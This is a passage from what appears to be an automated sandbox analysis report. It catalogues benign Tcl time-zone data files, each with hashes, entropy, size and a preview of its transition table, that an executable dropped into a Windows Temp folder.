Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Kentucky/Louisville)]} {. LoadTimeZoneFile America/Kentucky/Louisville.}.set TZData(:America/Louisville) $TZData(:America/Kentucky/Louisville).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Lower_Princes

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	190
Entropy (8bit):	4.81236985301262
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx09CvjHVAIg209CvjvQ2IAcGEyOqdVM1h4IAcGE9Cva:SlSWB9IZaM3y79CzVAIgp9CE290h48hf
MD5:	EBB062CC0AA5C21F7C4278B79B9EAE6C
SHA1:	6DFC8303BBE1FB990D7CB258E7DBC6270A5CFE64
SHA-256:	4842420076033349DD9560879505326FFAB91BED75D6C133143FFBBFB8725975
SHA-512:	5087C6257CA797317D049424324F5DC31BBD938436DCEB4CF4FE3D2520F7745F1C023E3EC48689957E389900EF2AACB3F5E9E49FD154DF51FF89F9A7173818CD
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Curacao)]} {. LoadTimeZoneFile America/Curacao.}.set TZData(:America/Lower_Princes) $TZData(:America/Curacao).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Maceio

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1507
Entropy (8bit):	3.958253749053277
Encrypted:	false
SSDEEP:	24:cQGEekqc+Ih+j+Dd+HO+W+iW+M+A+ph+h/1+ge5+Wt+x3+evIG+M+w+T+v+F+w+m:5NP+Ih+j+R+u+W+iW+M+A+r+hN+gU+Wp
MD5:	9823A3BC9616E044820930E13097868D
SHA1:	F672D334FC77CC693FD358E9D5D9F498DD5675DA
SHA-256:	ACF6164AF86348F33ABB16E0961EF5291EF8DFEB23524CCDD2DB021A2BF5DE8F
SHA-512:	BA9B86318C714DA49CC957C65B24257C65185BBCB5BCDC017D918E563711770151D9DA69B5CC8D06F8290F844B396ED4A5416BD5247A8BF772D287D1E292EE4B
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Maceio) {. {-9223372036854775808 -8572 0 LMT}. {-1767217028 -10800 0 BRT}. {-1206957600 -7200 1 BRST}. {-1191362400 -10800 0 BRT}. {-1175374800 -7200 1 BRST}. {-1159826400 -10800 0 BRT}. {-633819600 -7200 1 BRST}. {-622069200 -10800 0 BRT}. {-602283600 -7200 1 BRST}. {-591832800 -10800 0 BRT}. {-570747600 -7200 1 BRST}. {-560210400 -10800 0 BRT}. {-539125200 -7200 1 BRST}. {-531352800 -10800 0 BRT}. {-191365200 -7200 1 BRST}. {-184197600 -10800 0 BRT}. {-155163600 -7200 1 BRST}. {-150069600 -10800 0 BRT}. {-128898000 -7200 1 BRST}. {-121125600 -10800 0 BRT}. {-99954000 -7200 1 BRST}. {-89589600 -10800 0 BRT}. {-68418000 -7200 1 BRST}. {-57967200 -10800 0 BRT}. {499748400 -7200 1 BRST}. {511236000 -10800 0 BRT}. {530593200 -7200 1 BRST}. {540266400 -10800 0 BRT}. {562129200 -7200 1 BRST}. {571197600 -10800 0 BRT}. {592974000 -7200

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Managua

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	590
Entropy (8bit):	4.233264210289004
Encrypted:	false
SSDEEP:	12:MBp5290znTsmdHOYPprva6/wLAyM/uFn/V8/uFn/3Y/oA2P/RASx/uFn/G/uFn/M:cQGnoeOshRIpMSn/V8Sn/3YVgJvxSn/6
MD5:	6BF9AB156020E7AC62F93F561B314CB8
SHA1:	7484A57EADCFD870490395BB4D6865A2E024B791
SHA-256:	D45B4690B43C46A7CD8001F8AE950CD6C0FF7B01CD5B3623E3DD92C62FD5E473
SHA-512:	CF02E62650679D8E2D58D0D70DE2322CAAA6508AF4FF7A60E415AA8AA3A9D26D1A191CFAE986ACAF0AEF1DFC4C2E34F9A5B6EDC2018E0B7E9000917D429FB587
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Managua) {. {-9223372036854775808 -20708 0 LMT}. {-2524500892 -20712 0 MMT}. {-1121105688 -21600 0 CST}. {105084000 -18000 0 EST}. {161758800 -21600 0 CST}. {290584800 -18000 1 CDT}. {299134800 -21600 0 CST}. {322034400 -18000 1 CDT}. {330584400 -21600 0 CST}. {694260000 -18000 0 EST}. {717310800 -21600 0 CST}. {725868000 -18000 0 EST}. {852094800 -21600 0 CST}. {1113112800 -18000 1 CDT}. {1128229200 -21600 0 CST}. {1146384000 -18000 1 CDT}. {1159682400 -21600 0 CST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Manaus

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1142
Entropy (8bit):	4.001810227798472
Encrypted:	false
SSDEEP:	24:cQGnveIo6Skl7s/oySklTs/oiSklP/otHSkl8/oNOSkll/osSklGo/ooSklR/o9/:5/6SklVySklTpiSklo5Skl5oSklOsSk6
MD5:	63089A24AA65FCBAC0EC0FBDFAA1499E
SHA1:	5798A49922AD78C2097E5C6448699D8DB309646A
SHA-256:	7C891305E72EDFCDCFDBEBDB818F4594C87A9D1CFEAE03E656AEFEDD0914D201
SHA-512:	71182C327086BF7B9D4F832282D62EE22710230938D85155219FEFFCEAC7D1F76055A9CDCB6FB23A47C5AACFFC97056EB66E4BAEAD6DBA3075C80074927D21E0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Manaus) {. {-9223372036854775808 -14404 0 LMT}. {-1767211196 -14400 0 AMT}. {-1206954000 -10800 1 AMST}. {-1191358800 -14400 0 AMT}. {-1175371200 -10800 1 AMST}. {-1159822800 -14400 0 AMT}. {-633816000 -10800 1 AMST}. {-622065600 -14400 0 AMT}. {-602280000 -10800 1 AMST}. {-591829200 -14400 0 AMT}. {-570744000 -10800 1 AMST}. {-560206800 -14400 0 AMT}. {-539121600 -10800 1 AMST}. {-531349200 -14400 0 AMT}. {-191361600 -10800 1 AMST}. {-184194000 -14400 0 AMT}. {-155160000 -10800 1 AMST}. {-150066000 -14400 0 AMT}. {-128894400 -10800 1 AMST}. {-121122000 -14400 0 AMT}. {-99950400 -10800 1 AMST}. {-89586000 -14400 0 AMT}. {-68414400 -10800 1 AMST}. {-57963600 -14400 0 AMT}. {499752000 -10800 1 AMST}. {511239600 -14400 0 AMT}. {530596800 -10800 1 AMST}. {540270000 -14400 0 AMT}. {562132800 -10800 1 AMST}. {571201200 -14400 0 AMT}. {5

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Marigot

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	202
Entropy (8bit):	4.890561068654966
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7eoFVAIgpeX290zzJ/90e/:MBaIMY9QpI290zzN90O
MD5:	3340CD9706ECBB2C6BCB16F1D75C5428
SHA1:	FE230B53F0DCCE15C14C91F43796E46DA5C1A2CE
SHA-256:	BC2F908758F074D593C033F7B1C7D7B4F81618A4ED46E7907CD434E0CCFEE9F4
SHA-512:	016AB54B9E99600A296D99A036A555BB79E3C5FDB0F1BEB516AFFE17B7763D864CB076B9C2D95547ED44BA2F6FC372CDFF25708C5423E1CF643AB6F0AA78E0E3
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/Marigot) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Martinique

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	242
Entropy (8bit):	4.7982301339896285
Encrypted:	false
SSDEEP:	6:SlSWB9X5290zlJm2OHfueP9dMQR5OfT/VVFUFkCFeR/r:MBp5290znmdHfnP9dMQR5Gb/uFkCFO/r
MD5:	2F7A1415403071E5D2E545C1DAA96A15
SHA1:	6A8FB2ABAD2B2D25AF569624C6C9AAE9821EF70B
SHA-256:	40F3C68A518F294062AC3DD5361BB9884308E1C490EF11D2CFDC93CB219C3D26
SHA-512:	3E4D94AB6A46E6C3BB97304F3A5596A06041C0E0935CC840F4A6EB56D0892778F853959A742C5B832CD8F07AB9B74539C45599F22C080577503B2E34B6CE28C5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Martinique) {. {-9223372036854775808 -14660 0 LMT}. {-2524506940 -14660 0 FFMT}. {-1851537340 -14400 0 AST}. {323841600 -10800 1 ADT}. {338958000 -14400 0 AST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Matamoros

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6526
Entropy (8bit):	3.7582526108760064
Encrypted:	false
SSDEEP:	192:t+vN41+z6stuNEsRZLbXwDTIRqfhXbdXvDXpVXVto//q7u379zlq3LtVBaANIsr2:taN41+z6stuNEsRZLbXwDTIRqfh57TlE
MD5:	2BBAA150389EAAE284D905A159A61167
SHA1:	0001B50C25FC0CDF015A60150963AAF895EEDEEF
SHA-256:	A7966B95DBE643291FB68E228B60E2DC780F8155E064D96B670C8290F104E4AB
SHA-512:	87CE18E7E4C2C59A953CD47005EF406F4923730459996B1BF09B04FFD9CD5F963A9E50299ECCDBF4B24C565412B706B1ABC39890D659E6F409F1BA50308E57F9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Matamoros) {. {-9223372036854775808 -24000 0 LMT}. {-1514743200 -21600 0 CST}. {568015200 -21600 0 CST}. {576057600 -18000 1 CDT}. {594198000 -21600 0 CST}. {599637600 -21600 0 CST}. {828864000 -18000 1 CDT}. {846399600 -21600 0 CST}. {860313600 -18000 1 CDT}. {877849200 -21600 0 CST}. {891763200 -18000 1 CDT}. {909298800 -21600 0 CST}. {923212800 -18000 1 CDT}. {941353200 -21600 0 CST}. {954662400 -18000 1 CDT}. {972802800 -21600 0 CST}. {989136000 -18000 1 CDT}. {1001833200 -21600 0 CST}. {1018166400 -18000 1 CDT}. {1035702000 -21600 0 CST}. {1049616000 -18000 1 CDT}. {1067151600 -21600 0 CST}. {1081065600 -18000 1 CDT}. {1099206000 -21600 0 CST}. {1112515200 -18000 1 CDT}. {1130655600 -21600 0 CST}. {1143964800 -18000 1 CDT}. {1162105200 -21600 0 CST}. {1175414400 -18000 1 CDT}. {1193554800 -21600 0 CST}. {1207468800 -18000 1 C

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Mazatlan

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6619
Entropy (8bit):	3.788952004807415
Encrypted:	false
SSDEEP:	96:W7ezBT8tRkfKxhzY720zaOXmlITHjLc1cb:X8tRkfKv+2wB9h
MD5:	4D63766E65BF3E772CCEC2D6DB3E2D3E
SHA1:	DB541D2908159C7EF98F912D8DBC36755FFD13F3
SHA-256:	81CEA4A397AF6190FD250325CF513976B3508209AE3A88FDFD55490A5016A36D
SHA-512:	DFAF1B3547B1B1B78B33F1F0F5E9624C693492687EC5D060FC4C6CBE2AFBB61B2E9B618133636DD62364D28B2450F741561AADFDE7B811F579BBC7247343A041
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Mazatlan) {. {-9223372036854775808 -25540 0 LMT}. {-1514739600 -25200 0 MST}. {-1343066400 -21600 0 CST}. {-1234807200 -25200 0 MST}. {-1220292000 -21600 0 CST}. {-1207159200 -25200 0 MST}. {-1191344400 -21600 0 CST}. {-873828000 -25200 0 MST}. {-661539600 -28800 0 PST}. {28800 -25200 0 MST}. {828867600 -21600 1 MDT}. {846403200 -25200 0 MST}. {860317200 -21600 1 MDT}. {877852800 -25200 0 MST}. {891766800 -21600 1 MDT}. {909302400 -25200 0 MST}. {923216400 -21600 1 MDT}. {941356800 -25200 0 MST}. {954666000 -21600 1 MDT}. {972806400 -25200 0 MST}. {989139600 -21600 1 MDT}. {1001836800 -25200 0 MST}. {1018170000 -21600 1 MDT}. {1035705600 -25200 0 MST}. {1049619600 -21600 1 MDT}. {1067155200 -25200 0 MST}. {1081069200 -21600 1 MDT}. {1099209600 -25200 0 MST}. {1112518800 -21600 1 MDT}. {1130659200 -25200 0 MST}. {1143968400 -21600

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Mendoza

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	214
Entropy (8bit):	4.76389929825594
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7/MBVAIgp/Ma290zpH+90/MI:MBaIMY/Mcp/Ma290zpe90/MI
MD5:	A6EFD8F443D4CB54A5FB238D4D975808
SHA1:	8F25C6C0EA9D73DC8D1964C4A28A4E2E783880CC
SHA-256:	39B34B406339F06A8D187F8CCC1B6BF2550E49329F7DCE223619190F560E75F8
SHA-512:	4B5D48472D56AF19B29AD2377573CC8CB3ED9EF1AF53C00C907B6576FA852EA3D1E9F9B3A78A280DC44F8ADBE5B81D6AEC2609BE08FFA08507CD0F4139878F46
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Argentina/Mendoza)]} {. LoadTimeZoneFile America/Argentina/Mendoza.}.set TZData(:America/Mendoza) $TZData(:America/Argentina/Mendoza).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Menominee

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8136
Entropy (8bit):	3.7460641906933345
Encrypted:	false
SSDEEP:	192:oXxj07ffkeTzZSJw5/9/yuvQ+hcrD57X0N41+IestuNEbYkzbXwDTIRqfhXbdXvC:oXxj07ffNTzZSJw5/9/yuvQ6crD57X0w
MD5:	0D0DC4A816CDAE4707CDF4DF51A18D30
SHA1:	7ED2835AA8F723B958A6631092019A779554CADE
SHA-256:	3C659C1EAC7848BBE8DF00F857F8F81D2F64B56BD1CEF3495641C53C007434FA
SHA-512:	930F2FDC2C1EAE4106F9B37A16BCBBAF618A2CCBBA98C712E8215555CF09B9303D71842DEC38EFAF930DB71E14E8208B14E41E10B54EF98335E01435D0FC3518
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Menominee) {. {-9223372036854775808 -21027 0 LMT}. {-2659759773 -21600 0 CST}. {-1633276800 -18000 1 CDT}. {-1615136400 -21600 0 CST}. {-1601827200 -18000 1 CDT}. {-1583686800 -21600 0 CST}. {-880214400 -18000 1 CWT}. {-769395600 -18000 1 CPT}. {-765392400 -21600 0 CST}. {-757360800 -21600 0 CST}. {-747244800 -18000 1 CDT}. {-733942800 -21600 0 CST}. {-116438400 -18000 1 CDT}. {-100112400 -21600 0 CST}. {-21484800 -18000 0 EST}. {104914800 -21600 0 CST}. {104918400 -18000 1 CDT}. {120639600 -21600 0 CST}. {126691200 -18000 1 CDT}. {152089200 -21600 0 CST}. {162374400 -18000 1 CDT}. {183538800 -21600 0 CST}. {199267200 -18000 1 CDT}. {215593200 -21600 0 CST}. {230716800 -18000 1 CDT}. {247042800 -21600 0 CST}. {262771200 -18000 1 CDT}. {278492400 -21600 0 CST}. {294220800 -18000 1 CDT}. {309942000 -21600 0 CST}. {325670400 -18000 1

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Merida

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6435
Entropy (8bit):	3.757504464563519
Encrypted:	false
SSDEEP:	192:gN41+z6stuNEsRZjWqZL/1dCYDXEaXTuXMEXiH4RxGIJkYWXsWwav7jNf4sOVEmR:gN41+z6stuNEsRZjWqZL/1dCYDDCxyHo
MD5:	A7C5CFE3FA08D4CEDF6324457EA5766E
SHA1:	83BB96398C0B1B34771940C8F7A19CB78C5EF72F
SHA-256:	A1D7DE7285DC78ADDE1B0A04E05DA44D0D46D4696F67A682D0D28313A53825FE
SHA-512:	092DD7CEF6A5861472965E082171937EEDCFB3AE1821E3C88AA1BDFAB1EC48F765CAC497E3E5C78C19653C78B087C7CE28A8AB76F9073558963234901EF4B4A4
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Merida) {. {-9223372036854775808 -21508 0 LMT}. {-1514743200 -21600 0 CST}. {377935200 -18000 0 EST}. {407653200 -21600 0 CST}. {828864000 -18000 1 CDT}. {846399600 -21600 0 CST}. {860313600 -18000 1 CDT}. {877849200 -21600 0 CST}. {891763200 -18000 1 CDT}. {909298800 -21600 0 CST}. {923212800 -18000 1 CDT}. {941353200 -21600 0 CST}. {954662400 -18000 1 CDT}. {972802800 -21600 0 CST}. {989136000 -18000 1 CDT}. {1001833200 -21600 0 CST}. {1018166400 -18000 1 CDT}. {1035702000 -21600 0 CST}. {1049616000 -18000 1 CDT}. {1067151600 -21600 0 CST}. {1081065600 -18000 1 CDT}. {1099206000 -21600 0 CST}. {1112515200 -18000 1 CDT}. {1130655600 -21600 0 CST}. {1143964800 -18000 1 CDT}. {1162105200 -21600 0 CST}. {1175414400 -18000 1 CDT}. {1193554800 -21600 0 CST}. {1207468800 -18000 1 CDT}. {1225004400 -21600 0 CST}. {1238918400 -18000 1 CD

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Metlakatla

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1223
Entropy (8bit):	4.043351581198227
Encrypted:	false
SSDEEP:	24:cQG6JeNYesEmlJ14Rs/a4H/YDmD1bSSs8TZZTnEjnz4pUV/NbQKmScg/kg6TgJTQ:5OYvP06z9N1e5udJ
MD5:	B33AB48A35A25DD80C13604A13869520
SHA1:	CD62F2EBD1BA4197E7D2923E9B984EB862EFA46E
SHA-256:	DDF7AD896370189E67E9CA9017661541181C1901F56DC4954015175412C506CA
SHA-512:	99C3F043A921C1E34E1A9CC8D7D5B0D043BBEAC565F3E55E7618C06C1686CF00BF9E2CB4D9AB3C0625E9E41DD2C0B40706D4FA106F006A710B117C7A86075FD9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Metlakatla) {. {-9223372036854775808 54822 0 LMT}. {-3225366822 -31578 0 LMT}. {-2188955622 -28800 0 PST}. {-883584000 -28800 0 PST}. {-880207200 -25200 1 PWT}. {-769395600 -25200 1 PPT}. {-765385200 -28800 0 PST}. {-757353600 -28800 0 PST}. {-31507200 -28800 0 PST}. {-21477600 -25200 1 PDT}. {-5756400 -28800 0 PST}. {9972000 -25200 1 PDT}. {25693200 -28800 0 PST}. {41421600 -25200 1 PDT}. {57747600 -28800 0 PST}. {73476000 -25200 1 PDT}. {89197200 -28800 0 PST}. {104925600 -25200 1 PDT}. {120646800 -28800 0 PST}. {126698400 -25200 1 PDT}. {152096400 -28800 0 PST}. {162381600 -25200 1 PDT}. {183546000 -28800 0 PST}. {199274400 -25200 1 PDT}. {215600400 -28800 0 PST}. {230724000 -25200 1 PDT}. {247050000 -28800 0 PST}. {262778400 -25200 1 PDT}. {278499600 -28800 0 PST}. {294228000 -25200 1 PDT}. {309949200 -28800 0 PST}. {325677

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Mexico_City

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6807
Entropy (8bit):	3.761365047166545
Encrypted:	false
SSDEEP:	192:VeE7nN41+zKstuNEsRZjWqZL/1dCYDXEaXTuXMEXiH4RxGIJkYWXsWwav7jNf4sQ:VeE7nN41+zKstuNEsRZjWqZL/1dCYDDK
MD5:	C675DA8A44A9841C417C585C2661EF13
SHA1:	147DDE5DD00E520DA889AC9931088E6232CE6FEA
SHA-256:	82B9AAD03408A9DFC0B6361EC923FEAEF97DBB4B3129B772B902B9DAE345D63E
SHA-512:	00615A5EC0D08BABF009C3CAAF3D631B1F4E2E4324E91B0F29ADD7E61B51C80D5D495D20BD131A9370C3005B2E510C8A4E4869A5032D82BC33C875E909CDE086
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Mexico_City) {. {-9223372036854775808 -23796 0 LMT}. {-1514739600 -25200 0 MST}. {-1343066400 -21600 0 CST}. {-1234807200 -25200 0 MST}. {-1220292000 -21600 0 CST}. {-1207159200 -25200 0 MST}. {-1191344400 -21600 0 CST}. {-975261600 -18000 1 CDT}. {-963169200 -21600 0 CST}. {-917114400 -18000 1 CDT}. {-907354800 -21600 0 CST}. {-821901600 -18000 1 CWT}. {-810068400 -21600 0 CST}. {-627501600 -18000 1 CDT}. {-612990000 -21600 0 CST}. {828864000 -18000 1 CDT}. {846399600 -21600 0 CST}. {860313600 -18000 1 CDT}. {877849200 -21600 0 CST}. {891763200 -18000 1 CDT}. {909298800 -21600 0 CST}. {923212800 -18000 1 CDT}. {941353200 -21600 0 CST}. {954662400 -18000 1 CDT}. {972802800 -21600 0 CST}. {989136000 -18000 1 CDT}. {1001836800 -21600 0 CST}. {1014184800 -21600 0 CST}. {1018166400 -18000 1 CDT}. {1035702000 -21600 0 CST}. {1049616000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Miquelon

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7074
Entropy (8bit):	3.8399423763277087
Encrypted:	false
SSDEEP:	192:FtGlRdJVKU7c7q5lynu9b4HwXz+SqgNyz0T2CKm8qHmqpiq21PjgDCghEpW12YXq:ExKZ651i
MD5:	3BE359FC305B39DE06AEBC7E1DA63F42
SHA1:	1F4DD606C5CC277DACC7678E8B82A9C8E8ACDD4F
SHA-256:	BB8E349500B467FE8F2670AF36F8237C12B513CF2832005E70281309C3AA057A
SHA-512:	85017DFFF1BDE833737AF09673CB9001E7EFD10B7C7E83659D425150E11BD1FA56DF8DEC921DB279A853C0379CC15E720BFBB109A8100A3B3D1B4030128BB34A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Miquelon) {. {-9223372036854775808 -13480 0 LMT}. {-1850328920 -14400 0 AST}. {326001600 -10800 0 PMST}. {536468400 -10800 0 PMST}. {544597200 -7200 1 PMDT}. {562132800 -10800 0 PMST}. {576046800 -7200 1 PMDT}. {594187200 -10800 0 PMST}. {607496400 -7200 1 PMDT}. {625636800 -10800 0 PMST}. {638946000 -7200 1 PMDT}. {657086400 -10800 0 PMST}. {671000400 -7200 1 PMDT}. {688536000 -10800 0 PMST}. {702450000 -7200 1 PMDT}. {719985600 -10800 0 PMST}. {733899600 -7200 1 PMDT}. {752040000 -10800 0 PMST}. {765349200 -7200 1 PMDT}. {783489600 -10800 0 PMST}. {796798800 -7200 1 PMDT}. {814939200 -10800 0 PMST}. {828853200 -7200 1 PMDT}. {846388800 -10800 0 PMST}. {860302800 -7200 1 PMDT}. {877838400 -10800 0 PMST}. {891752400 -7200 1 PMDT}. {909288000 -10800 0 PMST}. {923202000 -7200 1 PMDT}. {941342400 -10800 0 PMST}. {954651600 -7200 1 PM

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Moncton

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10165
Entropy (8bit):	3.73501024949866
Encrypted:	false
SSDEEP:	192:XYtQYUKXZRMavqQS8L2En/RDmzTWRf2oFnoF8l988fL8vG+81VcfnrpbX+qvlrPf:gQYzCO4alKqYvuOdeYP/Jv
MD5:	C1F34BD1FB4402481FFA5ABEE1573085
SHA1:	46B9AD38086417554549C36A40487140256BED57
SHA-256:	A4C2F586D7F59A192D6D326AD892C8BE20753FB4D315D506F4C2ED9E3F657B9A
SHA-512:	115D3E65A6A3834E748ED1917CF03A835F74EC0F8DB789C2B99EB78879EA3A5A2AFEB35981BA221D868E6A5B579374CFB3F865ACF6D4271B918EBCC2C3C69579
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Moncton) {. {-9223372036854775808 -15548 0 LMT}. {-2715882052 -18000 0 EST}. {-2131642800 -14400 0 AST}. {-1632074400 -10800 1 ADT}. {-1615143600 -14400 0 AST}. {-1167595200 -14400 0 AST}. {-1153681200 -10800 1 ADT}. {-1145822400 -14400 0 AST}. {-1122231600 -10800 1 ADT}. {-1114372800 -14400 0 AST}. {-1090782000 -10800 1 ADT}. {-1082923200 -14400 0 AST}. {-1059332400 -10800 1 ADT}. {-1051473600 -14400 0 AST}. {-1027882800 -10800 1 ADT}. {-1020024000 -14400 0 AST}. {-996433200 -10800 1 ADT}. {-988574400 -14400 0 AST}. {-965674800 -10800 1 ADT}. {-955396800 -14400 0 AST}. {-934743600 -10800 1 ADT}. {-923947200 -14400 0 AST}. {-904503600 -10800 1 ADT}. {-891892800 -14400 0 AST}. {-883598400 -14400 0 AST}. {-880221600 -10800 1 AWT}. {-769395600 -10800 1 APT}. {-765399600 -14400 0 AST}. {-757368000 -14400 0 AST}. {-747252000 -10800 1 ADT}

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Monterrey

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6496
Entropy (8bit):	3.75909042772931
Encrypted:	false
SSDEEP:	192:Xc+vN41+z6stuNEsRZjWqZL/1dCYDXEaXTuXMEXiH4RxGIJkYWXsWwav7jNf4sOt:saN41+z6stuNEsRZjWqZL/1dCYDDCxyI
MD5:	255A5A8E27CA1F0127D71E09033C6D9B
SHA1:	4F1C5E6D3F9E5BC9F8958FA50C195FDADD0F4022
SHA-256:	C753DEF7056E26D882DCD842729816890D42B6C7E31522111467C0C39A24B2F2
SHA-512:	96A67C3CC54EC39086D4DF681DDA39B4167FE80F0C45600045480F28C282071915F793BD672146119A22E0C15339F162DFF9DF326E7132E723684EF079666F58
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Monterrey) {. {-9223372036854775808 -24076 0 LMT}. {-1514743200 -21600 0 CST}. {568015200 -21600 0 CST}. {576057600 -18000 1 CDT}. {594198000 -21600 0 CST}. {599637600 -21600 0 CST}. {828864000 -18000 1 CDT}. {846399600 -21600 0 CST}. {860313600 -18000 1 CDT}. {877849200 -21600 0 CST}. {891763200 -18000 1 CDT}. {909298800 -21600 0 CST}. {923212800 -18000 1 CDT}. {941353200 -21600 0 CST}. {954662400 -18000 1 CDT}. {972802800 -21600 0 CST}. {989136000 -18000 1 CDT}. {1001833200 -21600 0 CST}. {1018166400 -18000 1 CDT}. {1035702000 -21600 0 CST}. {1049616000 -18000 1 CDT}. {1067151600 -21600 0 CST}. {1081065600 -18000 1 CDT}. {1099206000 -21600 0 CST}. {1112515200 -18000 1 CDT}. {1130655600 -21600 0 CST}. {1143964800 -18000 1 CDT}. {1162105200 -21600 0 CST}. {1175414400 -18000 1 CDT}. {1193554800 -21600 0 CST}. {1207468800 -18000 1 C

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Montevideo

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	3.9155970425124305
Encrypted:	false
SSDEEP:	48:5JnGSNS1SnEcSFS38ZSrSdkSaSKSLrSzSCjRpJXCDBtYtklyBZDxfNaEZt84gBKz:XnG6+JcKN0FXVMspFpFCDBStklyBZDFN
MD5:	0D5E1C83C4A15FC0D2FC3D6D75F3B1AD
SHA1:	21A2F0D7B6E970EA0F9BAF21780627583A01BEDF
SHA-256:	9D5BFEECB613C4CDDA20131EECFDD1A077E9843AF09CAFDBE4AD6855B2A1D3A9
SHA-512:	3811F5F69DA1ABDF209BCDFB713F149B94F61AEC38B1DC2A71A88898074AB07D4F6B6F2CCD39E4882E349361B1C6EAE3EE3B98F132EE9401174404F3403D98D4
Malicious:	false
Reputation:	unknown
